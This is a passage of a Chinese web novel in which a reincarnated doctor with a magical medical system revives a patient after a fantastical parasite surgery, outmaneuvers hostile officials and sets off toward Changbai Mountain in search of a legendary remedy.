苏晚夏也紧张得手心冷汗涔涔，但她的目光却牢牢锁在持刀而立的林卫国身上。如山岳般沉稳的他，在这足以压垮顶尖外科医生的压力下，纹丝不动。 他甚至没回头看一眼正被猛撞的厚重大门。 “晚夏，去门口。”林卫国的声音异常冷静。 “记住我教的话，一字不差，回应他们。” 苏晚夏深吸一口气，重重点头，快步走向巨响不断的铁门。 门外，李明远正唾沫横飞地催促。 苏晚夏清冷而稳定的声音隔着门响起： “我们是奉安平县钱国栋县长指示。省城中医院孙思源教授，正在此地执行我省重大民生、高度保密的医疗科研项目。” “手术正在最关键的人体临床阶段，病人情况危急，经不起任何干扰。” “任何强行闯入、破坏无菌环境，导致病人死亡的后果，将被定为重大恶性医疗责任事故！我们将记录所有在场人员姓名单位，连夜上报省委，追究一切法律责任！” “钱国栋”、“孙思源”、“保密科研”、“重大事故”、“上报省委”！ 这些词如同冰水，瞬间浇灭了门外治安队长和队员们的冲动。 门外喊着抓“骗子”的声音，像冰锥扎进李明远耳朵。他心口一紧，面皮瞬间失了血色。 “放屁！”他猛地啐道，“有胆就砸开门，当面说清楚！” 撞击声骤停。 门外的治安队长拧紧了眉头。这事透着邪乎，硬闯怕是不成，他得马上找上面拿主意。 李明远眼风一扫，厉声再喝： “听着！我早用群众名义，实名捅到省卫生厅纪委了！他们的人眨眨眼就到！” “等管你们的人到场，看你们还能怎么狡辩！” 实验室里，每句话都像针扎着众人神经。 林卫国明白，箭在弦上。 “启动。” 指令落下，生物休眠仪发出极低的嗡鸣，幽光点亮。 他拈起几根银针，稳、准、狠，刺入高远脊椎旁几处要穴。 “孙老，您看真了。这不是治病，”林卫国声音低哑，“是场骗局。” “用生物电扯个弥天大谎，让它以为宿主已经咽气了。” “只有把它骗进最深沉的假死状态，才能撕开这道转瞬即逝的时间裂缝。” 理论惊世骇俗，孙思源却死死咬住光标跳动的轨迹，电光火石间，那条诡谲的逻辑链在他脑中清晰勾连。 林卫国紧握手术刀。 冰凉的刀柄落入掌心，那股熟悉的意念洪流骤然展开——无形的视野扫过他的意识，肌肉的纹路、筋膜的走向、细密的血管、敏感的神经簇……躯体深处，毫厘毕现。 手起。 刀落。 一道微小却精准的切口，深不见底，绽放在预设的位置。 他如同剥开最精密的洋葱，用手术刀和镊子，稳如磐石地一层层剥离皮肤、脂肪、肌肉、筋膜，全程避开了任何纤细的主神经。 孙思源看得冷汗淋漓，喃喃自语：“这……不是解剖……是神迹！他对人体的理解……太可怕了……” 当视野深入核心区域，林卫国自己也不禁皱眉。 最恐怖的一幕出现了：一枚指甲盖大小的灰黑虫卵，竟如同顽固藤蔓，与一根比发丝细数倍的运动神经死死缠绕，浑然一体！ 这个时代，就算后世的手术机器人，也只能宣告失败。常规手术刀完全无用。 林卫国果断放下手术刀，从医疗包中取出一根特制、针尖细如毫毛的皮下注射针头——这将是手术的核心工具！ 接下来的半个小时，地下手术室只剩下仪器的微鸣和压抑的呼吸。 林卫国屏息凝神，手腕焊在半空般纹丝不动。在放大镜下，他用那根比绣花针还细的针尖，进行着精细一百倍的剥离——将虫卵的触须从神经纤维上，一微米一微米地分离。 每一秒，都在榨取他前世的技术、今生的体能和强韧的精神力！ 苏晚夏守在一旁，一次次用无菌纱布为他拭去不断渗出的额头冷汗。他的后背早已湿透。 时间流逝得无比缓慢。 终于，林卫国缓缓直起僵硬的腰。 成了！ 那枚恐怖的虫卵，被他完整无损地从脆弱的神经纤维上剥离下来！ “呼——” 孙思源和苏晚夏刚要松一口气。 就在林卫国准备用特制镊子取出虫卵的瞬间！ “嘀！嘀！嘀！嘀——！” 生命体征监测仪骤然发出最尖锐刺耳的警报！ 屏幕上，高远的心跳、血压，正以断崖之势疯狂坠向零点！ 林卫国脑海中，【战术医疗系统】的血红大字疯狂闪烁： 【警告！未知能量干扰！生物休眠场失效！】 【寄生体触发自毁防御！毁灭性神经毒素0。1秒注入宿主中枢神经！】 监测仪上那条被无情拉成水平的直线，和那刺耳的、持续不断的警报声，宣告了这场惊世骇俗的手术，最终以“失败”告终。 高远死亡。 “啊——！” 江婉儿目睹了全过程，她发出一声悲鸣，当场昏厥过去。 “快！扶住江女士！” 室内，孙思源教授的手指地搭在了高远的颈动脉上，发现没有任何脉搏跳动之后，心中一阵恍然。 最后，他颓然地向后退了一步，那张布满皱纹的老脸上，血色褪尽，面如死灰。 “……晚了。”他声音嘶哑地说道，“自毁毒素已经彻底破坏了中枢神经，心脉已死，回天乏术了。” 第36章 手术……结束了 所有人都已放弃，连名老中医孙思源都宣判了死刑！ 但林卫国布满血丝的双眼，猛地迸射出骇人精光！ “还没完！” 他低喝一声，粗暴地扯开左臂手术服，露出精壮小臂。对着吓呆流泪的苏晚夏，他用尽全力嘶喊：“O型血！输血包！用我的！快！” 孙思源大惊失色，扑上来阻拦：“卫国！你疯了！他这是神经剧毒攻心！输血没用！这违背中西医基本原理！” 林卫国一把拽过输血管，飞快用酒精棉擦拭皮肤，渗出的汗珠瞬间浸湿了棉球。语速极快地向孙思源解释： “孙老！这不是普通毒！这是外星虫卵的‘蛊毒’，生物活性极强！你们的法子不行！” “我的身体自幼特殊淬炼，气血至刚至阳，天生克制阴邪毒物！常规药来不及了！只有我的血能强行压制，一丝一丝追剿残留毒素！” 这番话巧妙地将无法解释的能力，归因于中医玄奥的“气血阴阳”之说，既便于外人理解，也契合他“少年神医”的神秘人设，完美掩盖了系统和重生的秘密。 苏晚夏看着林卫国那双燃烧着疯狂火焰、不容置疑的眼睛，最后一丝犹豫彻底消散。 她含泪重重点头，以最快速度备好输血装置，将粗大针头精准扎进林卫国的静脉。 殷红充满生机的血液，顺着透明导管，缓缓而坚定地注入高远逐渐冰冷的躯体。 同时，林卫国强忍抽血的阵阵眩晕，右手抄起数根钢针，闪电般刺入高远周身护心大穴！ 他以玄奥手法捻动针尾，低喝： “以我气血为引，行周天搬运！锁魂！” 奇迹，在所有人认定无望的时刻，降临了！ “嘀……嘀嘀……” 心电监护上，那原本笔直的死亡线，竟随着阳刚之血的注入，开始出现微弱而不规则的波动！ 它动了！ 真的动了！ 孙思源骇然发现，高远因脑死亡彻底散大的瞳孔，竟……似乎微不可察地收缩了一瞬！ 这一细微变化，在他多年行医生涯中无异于神迹！ 一缕生机，硬生生被从九幽地狱拽回！ 然而，人虽有了生机，仍命悬一线。失血和透支精神力让林卫国脸色比高远更加惨白，身体也开始摇晃。 他知道，这只是“续命”。要彻底清除侵入中枢神经的余毒，还差最后关键一步！ 就在这时—— “轰——！” 实验室那扇足以抵挡小型爆炸的厚重铁门，传来震耳欲聋的巨响！ 随之而来的是电钻切割金属的刺耳尖啸，穿透整个地下空间！ 失去耐心的李明远和省卫生厅纪检组，等不及了！他们竟调来专业破拆工具，开始强攻！ “林哥！他们用电钻和切割机了！门撑不久！”内线电话里传来陈虎焦急的警告，如同丧钟！ 催命般的噪音穿透铁门，宣告林卫国的时间仅剩几分钟。 室内众人面如死灰。 唯有林卫国，对门外足以令人崩溃的噪音充耳不闻。他双目赤红，将最后的希望寄托在手边那碗散发奇异馨香的深紫色药汁上——由“红线草”和“龙血藤”熬制。 “鼻饲管，快！”他的声音因虚弱嘶哑不堪。 他指挥同样脸色惨白的苏晚夏，将那深紫色药液通过软管，一滴不剩地注入高远体内。 成败，在此一举！ 实验室外。 在重型工具的暴力破坏下，特制铁门即将被钻开一个洞口！ 李明远和省卫生厅纪检委谭处长，脸上已露出胜券在握的狞笑！ 然而，就在他们迎接“胜利”的这一刻—— “嘎——！” 尖锐的轮胎摩擦声划破研究所的宁静！ 数辆悬挂省政府牌照的黑色轿车，带着雷霆之势冲进大院，一个甩尾稳稳停在施工人员面前！ 车门“砰砰”打开。 安平县县长钱国栋第一个跳下副驾，脸上全无官威，反而小跑着拉开了后排车门。 一位面容严肃、眼神锐利、气场强大的中年男人，在簇拥中缓缓走出。 他风纪扣一丝不苟，目光如鹰隼般扫视全场。 正是省计划委员会那位以务实铁腕著称的副主任——周正国！ 李明远一见谭处长，以为救兵来了，挤出谄媚笑容正要上前邀功。这位谭处长，是他与高家倚仗的最终王牌！ 然而，周正国看都没看他们一眼。他径直走向火花四溅、面目全非的铁门，脸色阴沉似水。 “谁允许你们在这里动用重型破拆工具的？” 谭处长一见周正国，脸色刷地惨白，小腿肚直哆嗦。他万万没想到，此事竟惊动了这位大神！ “周……周主任，我……我们接到实名举报，说这里……进行非法……” “非法？” 周正国直接打断，声音不高，却字字千钧： “我怎么不知道？” “安平县上报的‘新型医药材料临床应用’项目，是我周正国，亲自特批的省级重点科研试点！” 他逼视面无人色的谭处长，一字一顿：“谭处长，你的意思，是我周正国的批示，是一张废纸？！” “省级重点科研试点项目”！ 这几个字如同九天神雷，将谭处长和李明远等人劈得魂飞魄散！ 他们的血色瞬间褪尽。李明远这才明白，自己捅破了天！ 钱国栋适时上前，语气冰冷：“周主任，谭处长和李明远在毫无证据的情况下，强行破坏我方高度保密实验，意图毁坏省级重点项目。责任重大，安平县无法承担，只能请省里定夺。” 全场霎时陷入一片死寂，唯有切割机停下后的余音仍在嗡嗡作响。 就在这死寂之中—— “吱呀——” 那扇千疮百孔、兀自冒烟的铁门，被人从里面缓缓推开。 林卫国脸色惨白如纸，身体几乎全靠苏晚夏支撑才勉强站立。 他望着门外尘埃落定的闹剧，嘴唇微动，声音虚弱沙哑： “手术……结束了。” 声音里听不出悲喜。 这一刻，所有目光——包括那位气场强大的周主任——瞬间穿过林卫国摇摇欲坠的身影，死死投向病房中央那张决定最终结局的手术台。 第37章 彻底改变他的体质 随着林卫国那句沙哑的“手术结束了”，所有人的心，都提到了嗓子眼。 周正国副主任和钱国栋县长，再也顾不上门外那些跳梁小丑，第一个快步冲进了这间临时改造的地下手术室。孙思源教授和苏晚夏等人，也紧随其后。 脚步声在狭小的空间中显得格外急促。 他们的目光，如同一道道利剑，瞬间穿透了空气，死死地钉在了那张位于房间中央的手术台上。 下一秒，所有人都愣住了。 只见手术台上的高远，虽然依旧双目紧闭，处于昏迷之中，但他那张本已青紫如鬼的脸，此刻竟奇迹般地恢复了红润！ 他胸膛平稳地起伏着，呼吸悠长而有力！ 旁边那台一直发出刺耳警报的生命体征监测仪上，那条代表着死亡的直线早已消失不见，取而代之的，是几条正在以一种缓慢、但却无比坚定的趋势，向上攀升的生命曲线！ 他，活了！ 而且是以一种超越了所有人理解的方式，真正地，活了过来！ “好！好啊！” 周正国副主任那张一向严肃的脸上，也控制不住地露出了激动和震撼的神情。 他深吸一口气，仿佛要压下胸中翻腾的波澜，转过身，用一种冰冷得不带丝毫温度的目光，看向了门外那个早已被吓得瘫软在地的谭处长，和那个面如死灰的李明远。 “蓄意破坏省级重点科研项目，诬告陷害国家科研人员，暴力干扰正常公务……很好。” 周正国没有再多说一个字，他只是对身边的秘书，淡淡地吩咐了一句。 “通知省纪委的同志们，可以过来‘请’人了。” 那轻描淡写的“请”字，却如同一道来自九幽地狱的判决书。 谭处长和李明远，乃至他们背后所有牵扯到此事的人的政治生涯，乃至他们整个人生，都在这一刻，被彻底地，画上了一个句号。 …… 尘埃落定。 当高远被安全地转回到特护病房，江婉儿在儿子的病床前，确认了他所有的体征都已经平稳下来之后，这位坚强了十年的女人，再也控制不住自己的情绪。 她走到林卫国面前，郑重地，行了一个旧时代最重的跪拜大礼。 “林大夫，再生之恩，婉儿没齿难忘！” 林卫国连忙将她扶起。 江婉儿却从自己贴身的衣物中，取出了一把样式古朴、早已被摩挲得温润光滑的铜钥匙，郑重地交到了林卫国的手中。 钥匙触手温凉，似乎还带着她的体温。 “林大夫，这是我丈夫建功当年，在省城银行留下的一个私人保险柜的钥匙。” 她的声音里，带着一丝解脱和托付。 “里面，有他毕生的心血——那份他到死都未能完成的特效药的、完整的核心研究笔记。还有……”江婉儿的眼中，闪过一丝刻骨的恨意，“他当年暗中收集的，足以将高建设那个畜生，彻底送上绝路的全部证据！” 这份沉甸甸的托付，等于将一把当世最锋利的剑，交到了林卫国的手中。 从这一刻起，他不仅拥有了足以自保的能力，更拥有了可以主动出击，将红旗制药厂这个庞大的家族毒瘤，连根拔起的恐怖资本！ 孙思源教授在观摩了整场神乎其技的手术之后，对林卫国，已经是彻底地拜服。 他郑重地，以省中医药协会会长的名义，向林卫国发出了正式的邀请，希望他能屈就，担任省中医药协会的特聘顾问，并定期为省里的年轻医生们，讲授几堂关于疑难杂症辨证的公开课。 这份邀请，无疑是为林卫国铺开了一条康庄大道。 林卫国的名声，已经不可阻挡地，从安平县这个小小的池塘，开始真正地，冲向全省这片更广阔的江海！ 在搀扶着因为失血和脱力而显得有些虚弱的林卫国时，苏晚夏那双明亮的眼眸里，除了如同看神明一般的崇拜和敬佩之外，一种连她自己都未曾察觉的、难以言喻的温柔情愫，正在悄然滋生。 她看着这个明明比自己还要小上几岁，肩膀却仿佛能扛起整片天空的少年，眼神，变得无比温柔。 …… 回到安平县后，林卫国休整了两天。过度损耗的身体需要时间恢复元气。 他没有立刻去处理工厂的事务，而是将自己关在新家的书房里，开始废寝忘食地研究起了江婉儿给他的那些研究笔记。 他越看，心中越是震惊！ 他发现，那位素未谋面的大哥高建功，在制药领域的天分，简直是惊才绝艳！他的许多研究思路和实验方向，即便是在林卫国前世的二十一世纪，都属于最前沿的水平！ 只可惜，天妒英才。 笔记的最后一页，记录下了高建功此生最大的遗憾。 他用一种只有自己能看懂的暗语，潦草地写道：“……药方已近大成，可活死人，肉白骨，然，万事俱备，唯缺一味最关键的‘引子’。此物非草非木，非金非石，遍寻古籍，只得二字——‘龙涎’。” “龙涎，龙涎，到底何物？求之不得，天不助我！此生憾事！” “龙涎”到底是什么？是一种传说中的东西？还是某种物质的代号？这个词像一团迷雾，萦绕在林卫国的脑海。 就在林卫国陷入沉思，百思不得其解的时候，书房的门，被推开了。 苏晚夏端着一碗刚刚熬好的参汤走了进来，但那凝重的脸色，似乎比碗中升腾的热气还要沉重。 “卫国，省城孙教授刚才来了电话。” “什么事？”林卫国问道。 苏晚夏将参汤轻轻放下，声音里带着一丝困惑和难以抑制的担忧：“是关于高远的。他的身体机能虽然在飞速地恢复，但孙教授他们，却发现了一个全新的、也是更棘手的问题。” “你的血，虽然清除了他体内的奇毒，救了他的命。但似乎……似乎也从根本上，彻底改变了他的体质。” 苏晚夏看着林卫国，一字一句清晰地复述着那令人不安的消息：“他现在……对我们这个时代的所有食物，都产生了极其严重的排异反应。无论是米粥、肉汤，还是任何东西，只要一吃下去，不出十分钟，就会全部吐出来。” “也就是说，他现在，吃不下任何东西了。” 第38章 紧急征用！ 地下实验室内，劫后余生的喜悦尚未消散，苏晚夏带来的消息却如数九寒冰，瞬间浇透了每个人的心。 高远，对所有食物都产生了极其严重的排异反应。 他，水米不进。 省城第一人民医院的特护病房里，空气沉闷得令人窒息。孙思源教授和医院的主任医生们，为了验证这难以置信的情况，亲自端来一碗用上好新米熬得烂熟的米汤，准备喂给刚苏醒、极度虚弱的高远。 江婉儿小心翼翼舀起温热的米汤，送入儿子口中。 恐怖的一幕骤然发生！ 高远本已恢复红润的脸瞬间青紫！他如同吞下烧红的烙铁，身体猛地弓起，爆发出一阵剧烈、失控的干呕！ “呕——！” 那点米汤连同胆汁被尽数吐出。紧接着，病床旁的生命体征监测仪上，刚刚稳定的数据再次剧烈波动，拉响危险警报！ 仿佛任何寻常食物，对他都已是穿肠毒药。 孙思源不信邪。他用尽中医典籍里最温和的温养脾胃方子，开出的药膳连初生婴儿都能消化。西医那边也立刻停止口服，改用静脉输送营养液。 结果，依旧令人绝望。 高远的身体对这些输入血管的外来营养，吸收效率低到可以忽略不计。他的衰弱速度，肉眼可见。 照此下去，不出七日，不被毒死，也会活活饿死！ “怎么会这样？怎么会这样……”江婉儿抱头痛哭，无法理解命运为何如此折磨她苦命的儿子。 病房内，经过整整一天的观察诊断，孙思源面色凝重地对同样眉头紧锁的林卫国开口，声音带着震撼与无奈：“卫国，我大概明白了。你的血，蕴含一种我们无法理解的、至刚至阳的生命能量。它虽清除了孩子体内奇毒，却也像一把锁，彻底改变了他身体运转的‘规矩’。”他望向病床上日渐消瘦的少年，叹了口气。 “他现在……恐怕只认你那霸道的‘血’，不认这凡间五谷了。” 孙思源的话，如同闪电劈开林卫国脑中迷雾！ 他瞬间联想到高建功研究笔记中，那个曾让他百思不得其解的神秘词汇——“龙涎”！ 一个大胆到近乎神话的念头轰然浮现！ “高建功的特效药，缺了‘龙涎’这味引子，便无法大成。我的血虽非特效药，但本质的生命能量层次，恐怕远超世上任何已知药物。我用它强行救了高远，却也等于将他这具凡俗之躯，‘拔高’到了一个全新层次——一个凡俗食物已无法满足的生命层次！” “难道……难道高远现在真正需要的，正是那味能作药引的龙涎？！” 这推测让他自己都心惊肉跳！ 他立刻将这惊人想法告诉了江婉儿和孙思源，语气斩钉截铁：“找到‘龙涎’，不仅是完成高建功遗愿、获得超级药物的关键，更是眼下救活高远唯一的希望！” “龙涎？那究竟是什么？”孙思源穷尽毕生所学，从未在任何医书典籍上见过此名。 江婉儿听到这个词，却像被触动了记忆。她在痛苦中搜索良久，美目猛地一亮！ “我想起来了！建功生前，确实为寻找这味药引痴迷许久！他不止一次跟我提过，根据线索，这东西的下落，或许只有一个人知道！” “谁？！”林卫国急问。 “一个传说中的人物！”江婉儿急切道，“东北，长白山深处，有个被称为‘采参客王’的隐居奇人！建功说，那人或许知道‘龙涎’的秘密！” 东北！长白山！采参客王！ 线索，终于浮现！ 林卫国当机立断：“事不宜迟，我立刻动身去东北！” 孙思源却给他冲动的决定泼了盆冷水：“卫国，先别急。现在不是古代，想去哪儿就去哪儿。要去东北，尤其是长白山那种边境，光有钱，绝对没用。”他伸出手指，算起账来。 “第一，你需要全国粮票。没有它，出省连饭都吃不上。第二，长白山天寒地冻，翻山越岭，你需要大量工业券换棉衣、登山设备。第三，也是最难的，长白山是边境林区，管理极严，必须要有省林业局和边防单位联合开具的特别通行证，才能进去。”他看向林卫国，叹了口气。 “这些东西，每一样都不是普通老百姓能弄到的。别说你，就算是我，想在短时间内全办下来，也难如登天。寻常人跑上一年，都未必能成。” 一个刚被破解的神乎其技的医学难题，立刻被一个更现实、更符合时代背景的资源难题，死死卡住。 林卫国心里跟明镜似的，高远等不起。 他抄起桌上那部黑色手摇电话，拨通钱国栋的号码。寥寥几句后，便果断接入县长专线。 电话另一头，钱国栋沉默了。林卫国的困境，那近乎神话的“龙涎”推断，砸得他心头发懵。 就在林卫国心都提到了嗓子眼时，钱国栋沉着的声音穿透听筒，带着一种前所未见的份量： “卫国，你记住，”他顿了顿，字字千钧，“你救的不只是我儿高远，是钱家往后的根！东西，我办！你收拾准备，立刻进山！” 钱国栋从不多问，他深知，对林卫国这样的人，信他就是了。电话咔哒挂断。 安平这座小县，此刻所有的齿轮都为林卫国的长白山之行转动起来。 钱国栋直接找到县粮食局长，不容置喙：“省计委重点科研项目，紧急征用！当季的种子款，你先给我垫上，一百斤全国粮票，马上批！” 紧接着，电话追到供销社主任赵胜利那儿，他扯着嗓子：“老赵！动用你所有的人脉关系！就一天，五套顶好的棉衣、登山靴！所有该配的券票，一分别少！”。 至于最棘手的特别通行证，钱国栋翻出压箱底的旧电话本，直接拨给省厅老战友张处长。他半句没提儿子的病： “老张，省计委有个活儿，临时加急。” “有个可靠的棒小伙，得进长白山老林子办件大事。给开个能走四方的最高通行证，介绍信就行，我这就打发人去拿！” 第39章 非查不可！ 同一时间，省城上演着刺眼反差。 红旗制药厂厂长高建设，正对着电话苦苦哀求省卫生厅的张处长，声音卑微：“张处长，您千万再帮帮忙，这批进口原料卡死了我们厂下季度生产……” “哎呀，高厂长，省里指标紧张啊。”电话那头的腔调拖沓官僚，“几十个厂子都盯着呢……再研究研究吧，啊？” 一边是救人开路，绿灯全放。 一边是图利钻营，处处碰壁。 无声的对比，昭示着林卫国此刻能撬动的力量层次，已非高建设之流可比。 …… 安平县“济世堂”内，苏明诚老爷子为了“龙涎”二字，几乎翻尽了所有压箱底的古籍。 终于，一本残破的明代《北地草木异闻录》中，浮现出模糊字迹： “北地极寒之境，有奇珍生于千年古木之心，状如凝脂，色如琥珀，遇风则散，可活死人肉白骨。性至纯，采之需以无暇玉器，保其神效。” 模糊，却至关重要！ 省城，孙思源教授闻讯后坐不住了。德高望重的老人找到林卫国，目光灼灼，言辞恳切：“卫国，带上我这老头子！医学奇事，不能亲眼见证，是我孙思源毕生遗憾！” 他的加入，为这支小小的寻药队带来了专业权威，也增添了一层无形保护。 林卫国随即找到在省城待命的陈虎。陈虎一听要去东北老林办大事，双眼放光，胸膛拍得震天响：“放心卫国哥！我立马挑身手最好、林子最熟的兄弟！刀山火海，绝不含糊！” 粮票、工业券、棉衣、靴子、通行证、专家、向导…… 短短一日，一支精悍的队伍集结完毕。 次日清晨，北京吉普车引擎轰鸣，载着众人驶出省城。江婉儿含泪送别，千万感激尽在不言中。 然而，就在吉普即将驶离省城，踏上北向国道时，最后一个公路关卡前，一队荷枪实弹的民兵拦住了去路。 一个身影慢悠悠踱出岗亭。 正是在研究所门口被周主任吓破了胆、但靠着高家力保只吃了个记过处分的省卫生厅纪检委谭处长！ 他脸上挂着皮笑肉不笑的阴冷，拦在吉普车头。一份盖着卫生厅公章的文件，醒目地捏在他手里。 “林顾问，真巧啊？” 他敲了敲车窗，目光锁定车内的林卫国，语气假惺惺：“不好意思，刚接热心群众实名举报，说你们涉嫌非法运输管制药品原料和未审批危险品。” 他晃了晃文件，冷笑溢出：“规矩，车上所有人都下来！行李全部打开，接受检查！” 谭处长领着一队荷枪实弹的民兵堵死了去路，脸上带着毫不掩饰的报复快意。 这场突袭检查，明摆着是冲林卫国来的。 他学聪明了，吃过几回硬亏，知道再用“非法行医”这种借口掀不起浪花。 这回他扣准的是药品跨省运输安全这个大旗——在这年头，药品，特别是跨省转运，得经卫生、公安、交通一堆衙门盖章批条，手续复杂得要命。 谭处长料定，林卫国他们走得急，绝对备不齐。 他根本不在乎搜出什么违禁品，只想打着“依法检查”这顶大帽子，硬生生把林卫国的车和人，钉死在省城！ 只要能拖上几天，病床上那个高远准咽气。 到时，“延误治疗致人死亡”的脏水，自然能泼回林卫国头上！ 车里，孙思源、陈虎几个人的脸色瞬间沉如寒冰。 林卫国确实没办手续。车上除了普通急救药，还有他专门为吊住高远性命配制的特殊药剂，成分复杂，来源根本说不清。这要被姓谭的扣下“检查”，一切就全完了！ “谭处长，你这是什么意思？” 孙思源教授第一个推门下车，花白的胡子几乎要翘起来。他唰地亮出省人大代表证和省中医药协会会长证，声音沉冷如铁： “我们奉省计委周正国主任亲口指令，护送科研人员前往东北执行紧急保密任务！你现在带人拦路，是存心阻碍省里重点项目吗？” 驾驶位上，钱国栋的司机兼警卫小张也同时下车，面无表情地走到谭处长面前，掏出一份盖着“省公安厅”鲜红大印的文件： “省厅签发的最高级别通行许可，写得清楚：沿途所有关卡，必须无条件放行！谭处长，你想公然违抗公安厅命令？” 省计委周主任！省人大代表！省公安厅！ 一个个名头沉甸甸砸过来，谭处长脸色有点发白。但他背后有高建设和卫生厅撑腰，仗着主管身份，梗着脖子硬顶： “规定就是规定！孙教授，你的证我们认，但药安归卫生厅管！” “我只认卫生系统的批文！今天，这车我非查不可！” 双方僵持不下，空气都快绷断了弦！ “呜——嘎！” 一辆军绿色嘎斯吉普如同离弦的箭，带着不容违逆的气势，从关卡后方狂飙而至，一个漂亮的甩尾停在众人面前。 车门弹开，跳下一个肩扛闪亮五角星的年轻军官，身姿挺拔如松。他径直走到脸色大变的谭处长面前，掏出一份盖着“省军区后勤部”红章的文件一亮，声音洪亮： “省军区后勤部，奉上级命令！即刻起，全程护送‘卫国牌速效止血散’项目组，前往东北林区执行野战实战测试任务！” 他鹰隼般的目光锁死谭处长： “车、人、物资，从现在起由军方接管安保！谭处长，你有意见？” 军……军方？！ 那身军装，那刺眼的军区大印，像一记重锤砸在谭处长头上。 他彻底懵了！ 一个乡下小厂，他以为能随意拿捏的泥腿子，竟然能牵动省政府、省公安厅还不够？ 现在连省军区都亲自下场护驾！ 他知道，这次是踢到比钢板还硬的合金板上了！ 在年轻军官逼人的目光下，谭处长一句狠话也憋不出来，只能带着那群早已吓傻的民兵，灰溜溜地躲到路边。 一场看似无解的危机，被更强横的力量，摧枯拉朽般碾碎。 在真正的人物面前，他们做的这些事，就和小丑没区别。 第40章 山神爷 军官大步走到林卫国的车前，先对车内的孙思源敬了个标准的军礼，才转向林卫国伸出手，笑容爽朗： “林卫国同志，你好！我叫雷鸣，省军区后勤部干事。” “军区卫生部门对你们厂的‘速效止血散’做了紧急测试，效果非常突出！首长高度重视，命令我：一，全程保障你们此次任务安全。二，实地考察团队的真实科研能力！” 林卫国与他紧紧握手，心潮翻涌。 这“速效止血散”，真为他敲开了一扇通往更高层次的大门。 雷鸣耳朵尖，听到车内孙思源和陈虎正低声讨论寻找“采参客王”的路线，眼睛倏地一亮： “几位首长要去长白山找那位‘采参客王’？” 孙思源点头： “是，雷鸣同志，你听说过？” “何止听说过！”雷鸣兴奋地一拍大腿，“巧了！咱部队有位离休的老首长，当年就是从东北抗联出来的！长白山的沟沟坎坎熟得很，跟山里那些老把头、奇人都是过命的交情！” 他看向林卫国，眼中闪着光： “别说找‘采参客王’，就是叫鄂伦春的老猎王下山喝酒，他老人家都办得到！说不定，真能帮上你们大忙！” 在雷鸣干事的引荐下，林卫国的吉普车缓缓驶入省军区干部休养所。 老树繁茂的省城机关大院，隔绝了墙外的喧嚣。 鸟声啁啾，树影婆娑。 这地方，还真不是一般人能来的。 晨光里，开阔草坪中央，一位穿着白色练功服的老人正在打拳。 身形精瘦，满头银发，动作连贯自然，透着一股远离凡尘的沉静。 唯有偶尔开合的眼眸深处，还留着战场磨出的锐利，和经年山野浸润的沉稳。 他，就是那位曾让敌人胆寒的东北抗联名将——解甲归田的老将军秦振邦。 “首长，人到了。”雷鸣上前一步，恭敬地敬了个军礼。 秦振邦缓缓收拳，目光在林卫国脸上转了转。之前听雷鸣讲得天花乱坠，不如亲自看看这小子。 “你就是林卫国？”老将军声音洪亮，底气十足。 “秦将军好。”林卫国神色平静，不卑不亢。 “坐吧。”秦振邦指了指旁边的石凳，直接道，“雷鸣都说了你的事儿。能让孙思源那老倔头心服口服，你小子定有过人之处。我这一身打仗落下的毛病，”他顿了顿，伸出左手腕，“敢不敢替老头子摸摸脉？” 考验，这就来了。 林卫国伸出手：“将军请。” 三根手指搭上老将军的手腕。林卫国闭上眼睛，凝神感受。 院子里一片寂静。 不到三分钟，林卫国收回了手，直视秦振邦：“将军左膝靠下三指左右的位置，是旧枪伤，有块三角形弹片还卡在里面。平时不算大事，可每逢阴雨天或者夜深人静，酸痛就钻心。” 他紧接着又说：“右肩和后腰也有老伤。当年气血亏虚时让寒气钻了空子，病根已经入骨了。” “寻常药石针砭，只能止疼，难以断根。" 每一处伤痛，每一个细节，连同那弹片形状，竟分毫不差！ 秦振邦脸上的审视渐渐化开，转为惊讶，最终涌起毫不掩饰的赞许。 他重重一点头。 "好！好个林卫国！信你了！" 话音未落，他陡然指向院角那棵需两人合抱的白杨树，话锋陡转： "但光有医术还不够！你要找的那位，是关东山里最后的‘山神爷’，万兽之王！他这辈子，只认真正的英雄好汉！小子，敢不敢再跟我比比手劲？" 这，是第二道考题。 不等回答，秦振邦对警卫沉声道："去，拿我那把‘五四’，再拿一把新的，拆散了端上来！" 片刻，警卫捧上托盘，上面散落着数十个冰冷的手枪零件。 秦振邦扬了扬下巴："规则简单。你我各拿一半，谁先装好枪，打中五十米外那个树靶红心，算谁赢。" 在场的军官们，包括雷鸣，心头都是一紧。老首长当年可是“兵王”，闭眼拆装枪械的绝活，无人能及！ 然而林卫国前世身为共和国最顶尖的特种兵王，枪械已如同他肢体的延伸。 他甚至没有细看零件，直接闭上了双眼。 在众人惊愕的目光中，他那双修长的手动了！如同捕食的灵蛇，在冰冷的零件堆里闪电般穿插、感知、组合！ 套筒、枪管、复进簧、击锤…… 动作快到极致，精准到极致，充满力量与韵律！ "咔哒！" 一声清脆的机括咬合！ 不到一分钟，一把完整的"五四"手枪已紧握在他手中！ 他猛地睁眼，眸中精光乍现！ 抬手！瞄准！扣动扳机！ 一气呵成！ "砰！" 枪响撕裂了休养所的宁静！ 五十米外，树干靶心红点上，赫然多了一个冒着缕缕青烟的弹孔！ 死寂！ 全场落针可闻！所有人都像看怪物一样盯着那个保持着射击姿态的年轻人！ "好！好小子！哈哈哈哈！" 短暂的震惊后，秦振邦爆发出洪钟般的畅快大笑！看向林卫国的眼神里，已满是纯粹的欣赏与喜爱。 "有勇有谋，有胆有识！老头子我没看走眼！" 考验已过，秦振邦不再绕弯子："你要找的‘采参客王’，真名白山。他是长白山最后一位遵循古训的‘山神爷’，行踪诡秘，如同山鬼。茫茫林海找他？大海捞针！" 他话锋一转："不过，他有个雷打不动的规矩！每年秋分转凉前，他必到山下二道白河镇，用积攒的山货换过冬物资。" 老将军神色郑重："白山性子古怪，认货不认钱！据我所知，他最紧要三样东西：顶好的关东旱烟叶、六十五度以上的纯粮烧刀子！还有……能打枪造刀的好钢材！现在这些东西搞起来可不容易，得要专门的票证和工业指标！你们得提前备齐！" …… 得秦老将军指点，目标豁然开朗。 就在林卫国一行收拾妥当，即将奔赴二道白河镇时，留守省城照顾儿子的江婉儿，却突然收到一个神秘包裹。 【亲爱的读者，如果认为内容可以，记得加入书架哦，方便下次阅读~】 第41章 奇珍为饵，神鬼莫测 长白山脚下，二道白河镇是往来人最密集的地方。 镇口的老槐树下，林卫国支起桌子，挂起一面上书“义诊点”的旧布幡。敢公开在这儿看病，要么真有本事，要么是胆大包天的骗子。顷刻间，看热闹的百姓里三层外三层，把小小的摊子堵得密不透风。 “让开！都让开！” 